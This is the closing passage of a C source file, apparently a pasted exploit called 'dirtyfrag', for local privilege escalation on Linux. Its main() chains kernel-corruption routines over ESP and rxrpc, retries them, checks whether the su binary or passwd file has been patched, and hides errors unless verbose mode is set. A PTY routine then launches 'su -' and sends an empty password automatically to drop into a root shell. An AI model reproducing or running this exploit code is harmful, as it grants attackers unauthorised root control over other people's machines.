  1754.     *new_argc = n + 1;
  1755.     return buf;
  1756. }
  1757.  
  1758. static void exec_su_login(void)
  1759. {
  1760.     const char *paths[] = {
  1761.         "/bin/su", "/usr/bin/su", "/sbin/su", "/usr/sbin/su", NULL,
  1762.     };
  1763.     for (int i = 0; paths[i]; i++)
  1764.         execl(paths[i], "su", "-", (char *)NULL);
  1765.     execlp("su", "su", "-", (char *)NULL);
  1766. }
  1767.  
  1768. /*
  1769.  * Spawn `/usr/bin/su -` in a fresh PTY and bridge our tty to it.
  1770.  */
  1771. static int run_root_pty(void)
  1772. {
  1773.     int master = posix_openpt(O_RDWR | O_NOCTTY);
  1774.     if (master < 0)
  1775.         return -1;
  1776.     if (grantpt(master) < 0 || unlockpt(master) < 0) {
  1777.         close(master);
  1778.         return -1;
  1779.     }
  1780.     char *slave_name = ptsname(master);
  1781.     if (!slave_name) {
  1782.         close(master);
  1783.         return -1;
  1784.     }
  1785.  
  1786.     struct winsize ws;
  1787.     if (ioctl(STDIN_FILENO, TIOCGWINSZ, &ws) == 0)
  1788.         ioctl(master, TIOCSWINSZ, &ws);
  1789.  
  1790.     pid_t pid = fork();
  1791.     if (pid < 0) {
  1792.         close(master);
  1793.         return -1;
  1794.     }
  1795.     if (pid == 0) {
  1796.         setsid();
  1797.         int slave = open(slave_name, O_RDWR);
  1798.         if (slave < 0)
  1799.             _exit(127);
  1800.         ioctl(slave, TIOCSCTTY, 0);
  1801.         dup2(slave, 0);
  1802.         dup2(slave, 1);
  1803.         dup2(slave, 2);
  1804.         if (slave > 2)
  1805.             close(slave);
  1806.         close(master);
  1807.         exec_su_login();
  1808.         _exit(127);
  1809.     }
  1810.  
  1811.     signal(SIGTTOU, SIG_IGN);
  1812.     signal(SIGTTIN, SIG_IGN);
  1813.     signal(SIGPIPE, SIG_IGN);
  1814.     signal(SIGHUP,  SIG_IGN);
  1815.     (void)setpgid(0, 0);
  1816.     (void)tcsetpgrp(STDIN_FILENO, getpid());
  1817.  
  1818.     struct termios saved_termios;
  1819.     int restore_termios = 0;
  1820.     if (tcgetattr(STDIN_FILENO, &saved_termios) == 0) {
  1821.         struct termios raw = saved_termios;
  1822.         cfmakeraw(&raw);
  1823.         if (tcsetattr(STDIN_FILENO, TCSANOW, &raw) == 0)
  1824.             restore_termios = 1;
  1825.     }
  1826.  
  1827.     int auto_pw_sent = 0;
  1828.     int stdin_eof = 0;
  1829.     int saw_master_output = 0;
  1830.     int total_ms = 0;
  1831.     char buf[4096];
  1832.  
  1833.     for (;;) {
  1834.         struct pollfd pfds[2] = {
  1835.             { stdin_eof ? -1 : STDIN_FILENO, POLLIN, 0 },
  1836.             { master,                        POLLIN, 0 },
  1837.         };
  1838.         int pr = poll(pfds, 2, 200);
  1839.         if (pr < 0 && errno != EINTR)
  1840.             break;
  1841.         total_ms += 200;
  1842.  
  1843.         if (pfds[1].revents & POLLIN) {
  1844.             ssize_t n = read(master, buf, sizeof(buf));
  1845.             if (n <= 0)
  1846.                 break;
  1847.             saw_master_output = 1;
  1848.             (void)write(STDOUT_FILENO, buf, n);
  1849.             if (!auto_pw_sent && n < (ssize_t)sizeof(buf)) {
  1850.                 buf[n] = 0;
  1851.                 if (strstr(buf, "Password") ||
  1852.                         strstr(buf, "password")) {
  1853.                     (void)write(master, "\n", 1);
  1854.                     auto_pw_sent = 1;
  1855.                 }
  1856.             }
  1857.         }
  1858.         if (!stdin_eof && (pfds[0].revents & POLLIN)) {
  1859.             ssize_t n = read(STDIN_FILENO, buf, sizeof(buf));
  1860.             if (n <= 0)
  1861.                 stdin_eof = 1;
  1862.             else
  1863.                 (void)write(master, buf, n);
  1864.         }
  1865.         if (pfds[1].revents & (POLLHUP | POLLERR))
  1866.             break;
  1867.  
  1868.         if (!auto_pw_sent && !saw_master_output && total_ms >= 1500) {
  1869.             (void)write(master, "\n", 1);
  1870.             auto_pw_sent = 1;
  1871.         }
  1872.  
  1873.         int status;
  1874.         pid_t w = waitpid(pid, &status, WNOHANG);
  1875.         if (w == pid) {
  1876.             for (int i = 0; i < 5; i++) {
  1877.                 struct pollfd pf = { master, POLLIN, 0 };
  1878.                 if (poll(&pf, 1, 50) <= 0)
  1879.                     break;
  1880.                 ssize_t n = read(master, buf, sizeof(buf));
  1881.                 if (n <= 0)
  1882.                     break;
  1883.                 (void)write(STDOUT_FILENO, buf, n);
  1884.             }
  1885.             break;
  1886.         }
  1887.     }
  1888.  
  1889.     if (restore_termios)
  1890.         tcsetattr(STDIN_FILENO, TCSANOW, &saved_termios);
  1891.     close(master);
  1892.     return 0;
  1893. }
  1894.  
  1895. int main(int argc, char **argv)
  1896. {
  1897.     int verbose = (getenv("DIRTYFRAG_VERBOSE") != NULL);
  1898.     int force_esp = 0, force_rxrpc = 0;
  1899.     int saved_err = -1;
  1900.     int rc = 1;
  1901.     int new_argc;
  1902.     char **co_argv;
  1903.  
  1904.     for (int i = 1; i < argc; i++) {
  1905.         if (!strcmp(argv[i], "--force-esp"))
  1906.             force_esp = 1;
  1907.         else if (!strcmp(argv[i], "--force-rxrpc"))
  1908.             force_rxrpc = 1;
  1909.         else if (!strcmp(argv[i], "-v") ||
  1910.                 !strcmp(argv[i], "--verbose"))
  1911.             verbose = 1;
  1912.     }
  1913.  
  1914.     if (getuid() == 0) {
  1915.         execlp("/bin/bash", "bash", (char *)NULL);
  1916.         _exit(1);
  1917.     }
  1918.  
  1919.     co_argv = append_corrupt_only(argc, argv, &new_argc);
  1920.  
  1921.     if (!verbose)
  1922.         silence_stderr(&saved_err);
  1923.  
  1924.     if (force_rxrpc) {
  1925.         rc = rxrpc_lpe_main(new_argc, co_argv);
  1926.         for (int i = 0; !passwd_already_patched() && i < 3; i++)
  1927.             rc = rxrpc_lpe_main(new_argc, co_argv);
  1928.     } else if (force_esp) {
  1929.         rc = su_lpe_main(new_argc, co_argv);
  1930.     } else {
  1931.         rc = su_lpe_main(new_argc, co_argv);
  1932.         if (!su_already_patched()) {
  1933.             rc = rxrpc_lpe_main(new_argc, co_argv);
  1934.             for (int i = 0; !passwd_already_patched() && i < 3; i++)
  1935.                 rc = rxrpc_lpe_main(new_argc, co_argv);
  1936.         }
  1937.     }
  1938.  
  1939.     int patched = either_target_patched();
  1940.  
  1941.     if (!verbose)
  1942.         restore_stderr(saved_err);
  1943.  
  1944.     if (patched) {
  1945.         (void)run_root_pty();
  1946.         return 0;
  1947.     }
  1948.  
  1949.     dprintf(2, "dirtyfrag: failed (rc=%d)\n", rc);
  1950.     return rc ? rc : 1;
  1951. }
  1952.  
Add Comment
Please, Sign In to add comment